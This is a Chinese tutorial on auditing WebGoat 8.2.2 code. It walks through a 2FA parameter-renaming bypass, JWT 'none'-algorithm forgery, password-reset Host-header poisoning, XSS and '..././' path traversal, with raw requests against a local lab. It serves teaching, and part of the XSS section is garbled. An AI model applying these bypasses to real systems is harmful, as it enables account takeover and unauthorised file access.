写在前面:最近团队没什么项目比较闲,就整理一下以前的笔记再写写文章,这篇文章适合学完JavaSE的师傅去接触Java代码审计,为了保证全文都是可理解复现的也花了不少精力,文章花了大概2周去完成,全文总共6万字,部分不涉及代码审计的模块没有写上,同时全文的顺序与WebGoat原顺序不一样,本文会采用从易到难的顺序来保证不会学一半学晕咯,文章目录层级比较多感兴趣的佬可以下载MarkDown阅读。
觉得写的好给个 Star 咯 🌟
参考
★https://wjlshare.com/?s=java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1
https://www.cnblogs.com/lusuo/p/17825090.html
★https://www.cnblogs.com/HAN91/p/14585449.html
https://jinone.github.io/dom/
https://jinone.github.io/bugbounty-dom-xss/
https://developer.aliyun.com/article/1366087
https://x1lys.github.io/2024/08/13/%E6%B5%85%E8%B0%88%E9%A2%84%E7%BC%96%E8%AF%91%E4%B9%8B%E4%BA%8ESQL%E6%B3%A8%E5%85%A5%E9%98%B2%E5%BE%A1/index.html
https://cloud.tencent.com/developer/article/2299003
https://juejin.cn/post/7115399238728712205
https://tttang.com/archive/1716/#toc_dtd_1
https://juejin.cn/post/7151588443683258376
一、前言
1.1.WebGoat介绍
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。如果只是像pikachu一样练习可以直接下载jar包练习,因为是代码审计这里我们采用idea启动,方便我们去审计后端代码。
1.2.准备环境
这里必须的环境和坑点,如果要复现的话请按照这里列举的把坑填了
1.JDK版本17
2.idea下载插件Lombok
3.Webgoat下载8.2.2版本https://github.com/WebGoat/WebGoat/releases/tag/v8.2.2,最新版和其他版本模块有一些区别,并且搭建失败可能会踩坑。
下载Webgoat解压,并用idea打开

配置环境,先去下载openjdk-17导入到SDKs模块,附上下载链接
https://www.oracle.com/java/technologies/javase/jdk17-archive-downloads.html

再去project模块把openjdk-17选择上,这里我使用的17.0.8
检查运行配置是否已经被设置为JDK17,如果已经是17不用动什么

去插件库下载Lombok插件

修改pom.xml的owasp版本,这步可能没必要这个版本现在已经报错了,后面还是可以正常使用

<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>6.5.3</version>
更新Maven的依赖,如果没有这个模块去插件库下载一下Maven

切到WebWolf如果没报错,那么恭喜你可以切换到StartWebGoat运行了


访问WebGoat站点,可以看到已经成功加载出来了,注册一个账号登录到后台,环境已经搭建好了可以开始复现漏洞了
http://127.0.0.1:8080/WebGoat/login


1.3.了解Controller(控制器)、Mapping(映射)和 Endpoint(端点)之间的关系
因为WebGoat是基于Spring MVC框架,这里介绍一下Spring MVC的处理请求方法,顺便学习一下框架, Spring Boot 框架中,Controller(控制器)、Mapping(映射)和 Endpoint(端点) 是关键组件
package org.owasp.webgoat.xss;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.function.Predicate;
import java.util.regex.Pattern;
@RestController
@AssignmentHints(value = {"xss-reflected-5a-hint-1", "xss-reflected-5a-hint-2", "xss-reflected-5a-hint-3", "xss-reflected-5a-hint-4"})
public class CrossSiteScriptingLesson5a extends AssignmentEndpoint {
public static final Predicate
<String> XSS_PATTERN = Pattern.compile(
".*<script>(console\\.log|alert)\\(.*\\);?</script>.*"
, Pattern.CASE_INSENSITIVE).asMatchPredicate();
@Autowired
UserSessionData userSessionData;
@GetMapping("/CrossSiteScripting/attack5a")
@ResponseBody
public AttackResult completed(@RequestParam Integer QTY1,
@RequestParam Integer QTY2, @RequestParam Integer QTY3,
@RequestParam Integer QTY4, @RequestParam String field1,
@RequestParam String field2) {
if (XSS_PATTERN.test(field2)) {
return failed(this).feedback("xss-reflected-5a-failed-wrong-field").build();
}
double totalSale = QTY1.intValue() * 69.99 + QTY2.intValue() * 27.99 + QTY3.intValue() * 1599.99 + QTY4.intValue() * 299.99;
userSessionData.setValue("xss-reflected1-complete", "false");
StringBuffer cart = new StringBuffer();
cart.append("Thank you for shopping at WebGoat. <br />Your support is appreciated<hr />");
cart.append("
<p>We have charged credit card:" + field1 + "<br />");
cart.append(" ------------------- <br />");
cart.append(" $" + totalSale);
//init state
if (userSessionData.getValue("xss-reflected1-complete") == null) {
userSessionData.setValue("xss-reflected1-complete", "false");
}
if (XSS_PATTERN.test(field1)) {
userSessionData.setValue("xss-reflected-5a-complete", "true");
if (field1.toLowerCase().contains("console.log")) {
return success(this).feedback("xss-reflected-5a-success-console").output(cart.toString()).build();
} else {
return success(this).feedback("xss-reflected-5a-success-alert").output(cart.toString()).build();
}
} else {
userSessionData.setValue("xss-reflected1-complete", "false");
return failed(this)
.feedback("xss-reflected-5a-failure")
.output(cart.toString())
.build();
}
}
}
1.Controller(控制器)
定义:处理 HTTP 请求的组件,作为请求处理的入口类
特征:类级别注解 @RestController 或 @Controller,通常包含多个端点方法
解析:CrossSiteScriptingLesson5a 是 Controller ,组织相关端点,处理 /CrossSiteScripting 路径下的请求 ,一个 Controller 可包含多个端点
@RestController // ← Controller 标识
@AssignmentHints(...)
public class CrossSiteScriptingLesson5a extends AssignmentEndpoint {
// 类内部包含端点和业务逻辑
}
2.Mapping(映射)
定义:定义 URL 路径与处理方法的绑定规则
特征: 方法级别注解 @GetMapping, @PostMapping 等 ,指定请求路径和 HTTP 方法
解析:@GetMapping("/CrossSiteScripting/attack5a") 是 Mapping 声明路由规则 – “GET 请求到 /CrossSiteScripting/attack5a 由 completed()方法处理” ,一个 Mapping 对应一个端点
@GetMapping("/CrossSiteScripting/attack5a") // ← Mapping 定义
@ResponseBody
public AttackResult completed(...) { ... }
3.Endpoint(端点)
定义:实际处理请求的业务逻辑单元(方法 + 映射)
特征: Mapping 注解修饰的方法 ,包含参数绑定、业务处理、响应生成
解析:completed() 方法 + @GetMapping 注解 = 完整端点 ,路径 /CrossSiteScripting/attack5a 是 端点标识符 ,具体执行业务逻辑(XSS 检测、购物车计算等)
// 整个方法是 Endpoint
public AttackResult completed(@RequestParam Integer QTY1, ...) {
// 1. 检查 field2 是否包含 XSS
// 2. 计算购物车总价
// 3. 构建响应 HTML
// 4. 根据 field1 返回不同攻击结果
}
4.三者的关系图解
graph TB
A[Controller] --> B[Endpoint 1]
A --> C[Endpoint 2]
B --> D[Mapping]
B --> E[业务方法]
C --> F[Mapping]
C --> G[业务方法]
subgraph Endpoint 分解
D["@GetMapping(path)"] -.- E["method(params){...}"]
end
| 概念 | 示例 |
|---|---|
| Controller | CrossSiteScriptingLesson5a 类 |
| Mapping | @GetMapping("/CrossSiteScripting/attack5a") |
| Endpoint | @GetMapping(...) + completed(...) |
| 端点路径 | /CrossSiteScripting/attack5a |
5.工作流程示例
sequenceDiagram
participant Client as 客户端
participant Dispatcher as Spring DispatcherServlet
participant Controller as CrossSiteScriptingLesson5a
participant Endpoint as completed()
Client->>Dispatcher: GET /CrossSiteScripting/attack5a
Dispatcher->>Controller: 查找匹配Controller
Controller->>Endpoint: 根据Mapping路由到方法
Endpoint->>Endpoint: 执行XSS检测和业务逻辑
Endpoint->>Controller: 返回AttackResult
Controller->>Dispatcher: 返回结果
Dispatcher->>Client: 发送HTTP响应
二、复现流程
2.0.敏感信息泄露
2.0.0.介绍
在代码审计中,敏感信息泄露指因代码逻辑缺陷或不当配置,导致用户隐私数据、系统密钥、认证凭证等敏感信息被未授权访问或公开暴露的安全隐患。代码审计需重点扫描硬编码敏感字段、明文存储路径、未脱敏日志输出等风险点,通过引入环境变量替代硬编码、采用密钥管理服务加密存储凭证、对日志进行正则脱敏处理等方式规避风险。
1. 源代码中硬编码的数据库连接字符串、API 密钥等凭证未加密存储
2. 配置文件以明文形式包含用户密码、支付密钥等敏感字段
3. 日志系统未做脱敏处理,将用户身份证号、银行卡信息等写入可访问日志
★4. 前端代码泄露后端接口密钥或加密算法私钥
5.错误处理机制不当,在异常返回中暴露数据库表结构、服务器路径等敏感信息
2.0.1.代码审计
老规矩我们输入些数据,去触发一下DOM节点的表单提交,获取到Endpoint(端点)的路径,在idea中command+O搜索一下。
对于登录的DOM节点,在后端没有查找到相关Endpoint(端点)路径,我们继续去查其他的DOM节点

触发Submit的DOM节点,源码中找到了Endpoint(端点)路径,但是发现源码没有什么特殊的处理。
1. 方法接收两个请求参数:`username`和`password`
2. 检查用户名是否为"CaptainJack"且密码是否为"BlackPearl"
3. 如果匹配,调用`success(this).build()`返回一个表示攻击成功的`AttackResult`对象(即任务完成)


后端没什么看的,我们看看前端有什么提示吗,这里触发DOM节点登录

会触发一条POST请求,请求体明文携带了一对账号密码,这里作者应该是想让我们通过分析前端源码去找到信息泄露
POST /WebGoat/start.mvc HTTP/1.1
Sec-Fetch-Site: same-origin
Cookie: JSESSIONID=FkMsvGFT-qQrRVOtqKbps5s7n99RigaDHtrMSliu; WEBWOLFSESSION=C3XMe5lclFnJllPjbAWPXlelSXgu6-Oa8SIwOZBk
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:8080
Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Platform: "macOS"
Cache-Control: no-cache
Sec-Fetch-Mode: cors
Pragma: no-cache
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Content-Type: text/plain;charset=UTF-8
Host: 127.0.0.1:8080
Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Content-Length: 50
{"username":"CaptainJack","password":"BlackPearl"}

现在找敏感信息泄露都是正则去匹配前端JS,或者去搜索路由跑接口,我们这里直接去搜索username:,找到了硬编码在js里的密码,这里也提示我们//sending the request is obfuscated, to descourage js reading代码被混淆处理了。
复制下来我们找个网站解混淆看看,可以看到账号密码
https://dev-coco.github.io/Online-Tools/JavaScript-Deobfuscator.html

2.0.2.思考
这里就是简单的信息泄露没有学习的地方,Web开发框架都做了一些默认安全限制,想去黑盒渗透出漏洞难度也越来越大了,但是前端源码我们是能看到的,可以多去挖掘一些前端漏洞,这种情况想挖的多就需要靠积累,通过正则去匹配前端源码或请求报文,可能出现漏洞前端关键字,这里推荐两款BURP插件,插件都很好但是能不能挖掘出漏洞还是看正则的积累,不久的后续会以大语言模型匹配关键字的形式。
https://github.com/shuanx/BurpAPIFinder
https://github.com/gh0stkey/HaE
2.1.失败的身份认证系列
2.1.0.身份认证绕过
1.介绍
在代码审计中,身份认证绕过指通过分析应用程序代码逻辑,发现因认证机制设计缺陷或实现错误,导致攻击者无需合法凭证即可绕过身份验证流程、获取未授权访问权限的安全漏洞。
1. 认证逻辑缺陷:如未对登录请求的凭证进行有效校验(如直接返回成功状态)、错误处理逻辑泄露认证绕过路径(如输入错误密码时返回 “用户名不存在” 而非统一提示);
2. 会话管理漏洞:会话令牌未加密或可预测(如固定值会话 ID)、登录状态校验缺失(如仅校验客户端 Cookie 而未验证服务端会话有效性);
3. 硬编码凭证或默认账户:代码中硬编码管理员账号密码、未删除测试账户且无权限限制;
4. 参数篡改与越权:通过修改请求参数(如用户 ID、角色标识)绕过前端校验,直接访问后台认证接口。
2.代码审计
先审题,作者的意思是让我们去尝试绕过2FA(双因素认证)

老规矩我们先去触发DOM节点,看一下Endpoint(端点)路径,发送了一个request请求,可以发现Responses响应内容是告诉我们认证失败。
//url
http://127.0.0.1:8080/WebGoat/auth-bypass/verify-account
//传参
secQuestion0=doc&secQuestion1=tor&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
//响应
{
"lessonCompleted" : false,
"feedback" : "Not quite, please try again.",
"output" : null,
"assignment" : "VerifyAccount",
"attemptWasMade" : true
}

Command+O定位到了Endpoint,理解一下这段代码的逻辑,我们把代码分开理解最后再串起来

这段代码有以下几个逻辑,我们先遵守逻辑再找破绽
1. 通过 parseSecQuestions 方法从请求中提取所有以 secQuestion 开头的参数(用户提交的安全问题答案)
2. 调用 didUserLikelylCheat 方法检测用户是否通过非常规手段(如暴力破解)提交答案
3. 若检测到作弊行为,返回特殊提示:反馈信息设为 verify-account.cheated,输出提示 "Yes, you guessed correctly, but see the feedback message"
public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
Map<String, String> submittedAnswers = parseSecQuestions(req);
if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
return failed(this)
.feedback("verify-account.cheated")
.output("Yes, you guessed correctly, but see the feedback message")
.build();
}
再看下面这段代码的意思,很简单就是调用方法去校验输入,去进行安全验证,这里我们正确的思考方向是要去看看这个方法有没有什么逻辑上的漏洞,我们跟进方法command+左键或者command+O全局搜索都行
//调用verificationHelper.verifyAccount()方法,传入用户ID和解析出的安全问题答案进行验证。
// else
if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
userSessionData.setValue("account-verified-id", userId);
return success(this)
.feedback("verify-account.success")
.build();
} else {
return failed(this)
.feedback("verify-account.failed")
.build();
}
我们看一下org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java里面的verifyAccount()方法
1. 首先检查用户提交的问题数量是否与预存问题数量一致(secQuestionStore.get(verifyUserId).size()),数量不符直接返回false。
2.检查secQuestion0:若提交的答案存在且与预存答案不匹配,返回false
3.检查secQuestion1:同样验证答案一致性,不匹配则返回false
4.当所有检查通过后返回true,表示安全问题验证成功。
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
//short circuit if no questions are submitted
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false;
}
// else
return true;
}

我们把整个校验逻辑串起来,再去找破绽,通过以下分析我们找到一条利用的链路,
1.第三部分我们可以不让verifyAccount()方法去检查secQuestion0-1两个参数,只需要满足参数数量一致拿到一个true让最后的检查结果也为true。
2.因为只有参数的数量要求,所以我们可以去删除secQuestion0-1两个参数,再去补两个其他参数。
3.但是第一部分要求了我们参数需要有secQuestion关键字,所以我们可以构建两个带secQuestion关键字的参数只要不是secQuestion0-1两个参数就行
●第一部分:
1. 通过 parseSecQuestions 方法从请求中提取所有以 secQuestion 开头的参数(用户提交的安全问题答案)
★//第1点告诉我们参数需要有secQuestion关键字,我们上面的传参是`secQuestion0=doc&secQuestion1=tor`,暂时不用做变动
2. 调用 didUserLikelylCheat 方法检测用户是否通过非常规手段(如暴力破解)提交答案
3. 若检测到作弊行为,返回特殊提示:反馈信息设为 verify-account.cheated,输出提示 "Yes, you guessed correctly, but see the feedback message"
//第2 3点是防止我们暴力破解出答案,作者给的答案确实是可以暴力破解出来的
●第二部分
1. 调用verificationHelper.verifyAccount()方法,传入用户ID和解析出的安全问题答案进行验证。
●第三部分
1. 首先检查用户提交的问题数量是否与预存问题数量一致(secQuestionStore.get(verifyUserId).size()),数量不符直接返回false。
//这里告诉我们参数的数量不能变,也就是我们不管这些值是什么,secQuestion0=&secQuestion1=&jsEnabled=&verifyMethod=&userId=的参数数量不能变。
★//这里出现问题了,没有强制要求参数就是这些,只是规定了数量
2.检查secQuestion0:若提交的答案存在且与预存答案不匹配,返回false
3.检查secQuestion1:同样验证答案一致性,不匹配则返回false
//2 3这里校验了secQuestion0-1两个参数与硬编码的答案是否一样
★//这里就出现问题了,首先没有去校验secQuestion0-1参数是否存在
4.当所有检查通过后返回true,表示安全问题验证成功。
//这里就是满足以上条件我们就能通过2FA校验
尝试一下成功绕过2FA,成功绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Cookie: JSESSIONID=FkMsvGFT-qQrRVOtqKbps5s7n99RigaDHtrMSliu; WEBWOLFSESSION=C3XMe5lclFnJllPjbAWPXlelSXgu6-Oa8SIwOZBk
Host: 127.0.0.1:8080
Accept: */*
Origin: http://127.0.0.1:8080
Pragma: no-cache
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Dest: empty
Cache-Control: no-cache
Content-Length: 88
77777secQuestion777=doc&77777secQuestion77777=tor&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

3.思考
黑盒渗透去测试身份认证绕过往往需要FUZZ,很多思路也是基于代码审计产生的,单单从Web渗透积累就是一个长时间去理解的过程,还需要去交费上一些内部课程,所以最好是可以从代码层面把可能出现的漏洞摸清楚。
2.1.1.JWT令牌
1.介绍
jwt的全称是JSON Web Token,主要是由三个部分组成 分别是header(头)、payload(载体)、signature(签名),现在主要是用在跨域请求中,因为jwt中会携带我们的身份信息用于跨域请求去校验身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。
从应用角度是比较好用的一种验证方式,从安全性角度上如果没有配置好jwt token会存在很多种利用情况,包括但不限于(默认secret、枚举secret、签名算法置空、修改KID参数)等利用方式。
// Header(Base64编码)
{
"alg": "HS256", // 签名算法
"typ": "JWT"
}
// Payload(Base64编码)
{
"sub": "123456", // 用户ID
"name": "John", // 用户名
"iat": 1628500000, // 签发时间
"exp": 1628586400 // 过期时间
}
// Signature(使用Header指定的算法和密钥生成)
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
2.代码审计
进入模块5,老规矩审题,这题是让我们尝试删除页面的内容,我们这里切换个带权限的用户,点击删除去触发DOM节点,发送了一条POST方法的request请求,但是responses响应权限不足需要admin权限。
//url
http://127.0.0.1:8080/WebGoat/JWT/votings
//响应内容
{
"lessonCompleted" : false,
"feedback" : "Only an admin user can reset the votes",
"output" : null,
"assignment" : "JWTVotesEndpoint",
"attemptWasMade" : true
}

我们去idea中command+O定位一下端点路径,这里有两个Mapping(映射)记得看PostMapping不要看成GetMapping了,我们继续之前的思路先去理解代码,再去找缺陷。
- 检查请求中的access_token是否为空。若为空,直接返回”jwt-invalid-token”错误。
- 使用密钥解析JWT令牌,提取admin声明字段。
- 若admin不为true,返回”jwt-only-admin”错误(非管理员)
- 当用户是管理员时,遍历所有投票对象调用reset()方法重置数据,并返回成功结果。
@PostMapping("/JWT/votings")
@ResponseBody
public AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
return failed(this).feedback("jwt-invalid-token").build();
} else {
try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (!isAdmin) {
return failed(this).feedback("jwt-only-admin").build();
} else {
votes.values().forEach(vote -> vote.reset());
return success(this).build();
}
} catch (JwtException e) {
return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
}
}
}

根据上面的方法可以确认,我们只要让JWT令牌里的admin参数的值等于true就行,但是我们没有sercet,当然可以在后端代码找到,但是这样做拿到sercet也没有意义,我们回顾之前的知识分析一下修改admin参数值等于true需要什么条件,我们先随便解码一个JWT令牌,注意不要用jwt.io了貌似不支持篡改了。

-
首先Payload部分是base64编码,我们是可以篡改的,但是篡改后需要用Secret重新计算一个
Signature签名,签名对不上还是会报错 -
★Secret我们前面说了不能去获取,那么我们是否可以指定加密算法为None,这里很多人没有提到过。
★因为这里用到了JWT功能,所以会引入JWT库,而JWT库在
0.10.0之前的版本中存在一个安全漏洞:当算法设置为”none”时,解析器会接受任何签名(包括没有签名)的令牌,我们去找一下io.jsonwebtoken库
{
"alg": "HS512"
}
// Payload(Base64编码)
{
"iat": 1751868005,
"admin": "false",
"user": "Sylvester"
}
// Signature(使用Header指定的算法和密钥生成)
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret
)
★还是全局搜索,发现JWT库的配置文件版本为0.9.1,那就是漏洞版本,所以我们尝试将加密算法设置为none,secret任意配置也可以为空,我这里演示一下随便填个secret
jetbrains://idea/navigate/reference?project=WebGoat-8.2.2&path=~/.m2/repository/io/jsonwebtoken/jjwt/0.9.1/jjwt-0.9.1.jar!/META-INF/maven/io.jsonwebtoken/jjwt/pom.properties

我们重新构造一下JWT token,记得改一下我标记的地方,贴到删除请求包看一下是否生效,成功伪造身份
记得把==删除掉,或者像我一样把特殊字符url编码,不然服务端处理不了特殊字符=


3.思考
JWT还有很多安全风险,这里贴一下si1ent佬的文章写的很好,前几年我也一直在参考这套逻辑去挖掘JWT漏洞,不过涉及到鉴权开发会比较谨慎,而且漏洞也相对容易测试,所以这个漏洞出现的概率比较小,关注一下就行。
https://si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
2.1.2.密码重置
1.介绍
密码重置漏洞总共分为五大类:
令牌生成缺陷:使用Random而非SecureRandom生成弱令牌(如 6 位数字),易被暴力破解。
验证逻辑缺失:未校验令牌有效期(expirationTime)或允许重复使用,导致旧令牌可重置密码。
直接重置漏洞:接口仅通过用户名(如admin)即可重置密码,无需邮箱验证,攻击者可枚举用户名接管账户。
令牌泄露风险:令牌通过 URL 参数传递(如/reset?token=xxx),被记录在日志或历史中,支持 CSRF 攻击。
邮件注入漏洞:未过滤邮箱输入(如victim@site.com,attacker@evil.com),导致重置邮件被转发至攻击者邮箱。
2.代码审计
老规矩先审题,作者的意思是让我们去重置tom@webgoat-cloud.org这个邮箱的密码,我们先按照作者的意思尝试一下触发DOM节点,然后去idea看一下源码。


还是老方法我们先看代码逻辑,再去找逻辑缺陷。
★我们看1这里看下来重置链接会带UUID,因为是重置密码,服务端默认用户是登录不了账号,所以这个链接肯定是可以未授权访问的,那我们就需要拿到重置链接。再看从HTTP请求头提取host字段,一半可以通过request可以操纵的字段,都可能是漏洞的触发点,并且没有找到HeaderFilter过滤器对host传参做限制。
-
使用UUID生成唯一的重置链接,并存储到全局列表
-
从HTTP请求头中提取host字段
-
当邮箱是tom@webgoat-cloud.org且主机头包含9090或webwolf时,存储该用户与重置链接的映射,自动模拟点击重置链接(fakeClickingLinkEmail)
@PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link")
@ResponseBody
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) {
String resetLink = UUID.randomUUID().toString();
ResetLinkAssignment.resetLinks.add(resetLink);
String host = request.getHeader("host");
if (hasText(email)) {
if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains("9090")||host.contains("webwolf"))) { //User indeed changed the host header.
ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);
fakeClickingLinkEmail(host, resetLink);
} else {
try {
sendMailToUser(email, host, resetLink);
} catch (Exception e) {
return failed(this).output("E-mail can't be send. please try again.").build();
}
}
}
return success(this).feedback("email.send").feedbackArgs(email).build();
}
那我们的思路就是重置目标用户邮箱密码,中间人拦截修改host为自己服务器的监听地址,这样用户点击链接我们就能获取到重置密码的UUID,这里是测试环境所以我们满足第3点即可测试,这里端口占用,wolf也带监听功能我们直接使用。
条件一:邮箱是tom@webgoat-cloud.org
条件二:host包含9090或webwolf关键字
我们先重置一下自己的密码看看流程是什么样的,会发一封邮件到我们邮箱,并且附上了一个链接,链接请求是GET请求且URL中有身份标识UUID
http://127.0.0.1:8080/WebGoat/PasswordReset/reset/reset-password/c43795f4-079a-4800-afc8-802a739e6789



我们测试一下,填写邮箱提交密码重置请求,中间人拦截篡改报文中的Host,这里要注意真实Host要配置127.0.0.1:8080,只有报文中Host修改为127.0.0.1:9090不然请求是到不了WebGoat后端处理的。


在wolf中查看监听日志,此时Tom点击重置密码链接因为Host不对没有修改密码,此时Wolf已经监听到带着UUID的请求,我们作为攻击者直接修改Host为127.0.0.1:8080访问重置Tom的密码,这里注意需要凭借上我们WebGoat的Web 应用的根路径WebGoat不然找不到Mapping映射路径,不能组合成端点路径
http://127.0.0.1:8080/WebGoat/PasswordReset/reset/reset-password/4ee4fc5f-93de-4a90-9c61-aa84a2bbc215


2.2.XSS系列
2.2.0.介绍
//本次实验主要是介绍反射型 XSS。当用户点击一个恶意链接,Web 服务器在后端处理时,没有正确的处理和过滤输入,就会将恶意代码返回给前端并执行。比如一个错误信息,搜索结果等返回到用户的浏览器上。浏览器会执行这段脚本,所以 XSS 是基于前端语言的。如 html、javascript 等。
★XSS漏洞类型的核心区别在于恶意载荷的触发机制与可见性:总结就是反射型XSS由后端处理后响应到前端执行,DOM型XSS直接由前端处理执行。
1. 反射型与存储型XSS需经服务端处理,恶意代码直接嵌入HTTP响应体,当恶意代码被嵌入 HTTP 响应体并出现在HTML源码中时,浏览器无法区分这是正常脚本还是攻击代码,会像执行合法 JavaScript一样执行它,导致了XSS漏洞。反射型由后端代码处理后返回前端html的DOM树中,由前端代码触发JavaScript语句,所以需要审计后端代码。
2. DOM型XSS完全在客户端通过JavaScript动态执行,服务端返回的原始源码无恶意代码,仅在浏览器解析后生成的DOM结构中可见,恶意脚本是客户端JavaScript自己从URL里读出来,写到 DOM 里执行了恶意JavaScript,导致了XSS漏洞。DOM XSS直接由前端处理,由前端代码触发JavaScript语句,需要审计用户输入是否进入前端 DOM 操作 API。
2.2.1.代码审计
1.反射型XSS
进入模块7有个表单提交按钮,我们查看一下请求的映射路径是哪里
http://127.0.0.1:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128%203214%200002%201999&field2=111

源码里command+O搜索一下attack5a,可以定位到src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java中

以下这段代码定义了一个静态常量 XSS_PATTERN,功能是检测字符串是否包含典型的跨站脚本(XSS)攻击特征,可以吧这段代码当做XSS的过滤器,那么后续搜索XSS_PATTERN即可确认是否过滤。
1.正则表达式:.*<script>(console\\.log|alert)\\(.*\\);?</script>.*,匹配包含 标签的内容,检测标签内是否有 console.log 或 alert 函数调用,允许函数参数任意(.*)和可选分号(;?)
2.匹配模式:Pattern.CASE_INSENSITIVE 忽略大小写(如
也能匹配) “`java public static final Predicate XSS_PATTERN = Pattern.compile( “.*(console\\.log|alert)\\(.*\\);?

##### 2.2.思考
这里的DOM XSS更多是根据作者的提示完成,如果我们要在生产环境主动挖掘还是需要深入学习,这里推荐一下[Jinone](https://jinone.github.io/)佬的两篇文章,两篇都是从实战去演示DOMXSS,虽然国内不怎么认XSS,但是国外对于XSS的认可度还是比较高的,感兴趣的可以学习一下。
```java
https://jinone.github.io/dom/
https://jinone.github.io/bugbounty-dom-xss/
2.3.目录遍历系列
2.3.0.介绍
程序系统在实现上没有过滤用户输入的../之类的目录跳转符,允许攻击者通过提交目录跳转符来遍历服务器上的任意文件。这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等。
2.3.1.代码审计
1.Path traversal-模块3
先读题,作者意思是让我们尝试绕过一下,给了我本地的绝对路径,我们先触发DOM节点,审计一下源码。

处理 POST 请求 /PathTraversal/profile-upload-fix,接收上传的文件对用户传入的文件名进行过滤,移除所有../字符串(防止路径遍历攻击),这里知识置空字符串可以绕过,我们抓包看看。
@PostMapping(value = "/PathTraversal/profile-upload-fix", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult uploadFileHandler(
@RequestParam("uploadedFileFix") MultipartFile file,
@RequestParam(value = "fullNameFix", required = false) String fullName) {
return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
}
}

这里可以看到我们上传的文件所在目录,题目要求我们将文件上传到doctor目录,我们需要做的就是:
1.找到fullname传参的地方fullNameFix参数
2.遍历到上层目录,并且绕过../的限制

这里找到了fullNameFix,篡改一下参数值成功双写绕过
..././test

2.Path traversal-模块4
这里提到在模块4的基础上对fullname进行了输入的验证,我们触发DOM节点确认Endpoint端点路径去审计一下源码。

这段代码的意思是将文件和其原始文件名传递给父类ProfileUploadBase的execute()方法,我们跟进一下execute()方法,看看具体怎么处理

跟进到父类的execu方法好像没什么特别的处理,总结下来就是接受传参的位置变为filename了
1.如果上传的文件为空,返回错误结果 2.如果文件名(fullName)为空,返回错误结果

我们尝试一下直接在filename输入../看看是否会遍历,成功遍历了,这关可能就是想告诉我们存在其他的传参位置,没什么需要琢磨的。

3.Path traversal-模块5
这题作者的意思不止文件上传存在目录遍历,我们还可以尝试文件读取,我们还是触发一下DOM节点找一下Endpoint端点路径去后端搜索一下,定位源码。

可以看到这段代码有两处重点,这里拦截了.. /遍历符号,我们尝试绕过一下
1.检查URL查询参数是否包含..或/字符,若存在则返回400错误。
2.有一个参数id可以输入值,若不输入任何值则从1-10遍历,自动拼接.jpg
3.若输入文件为path-traversal-secret.jpg不做BASE64编码直接返回
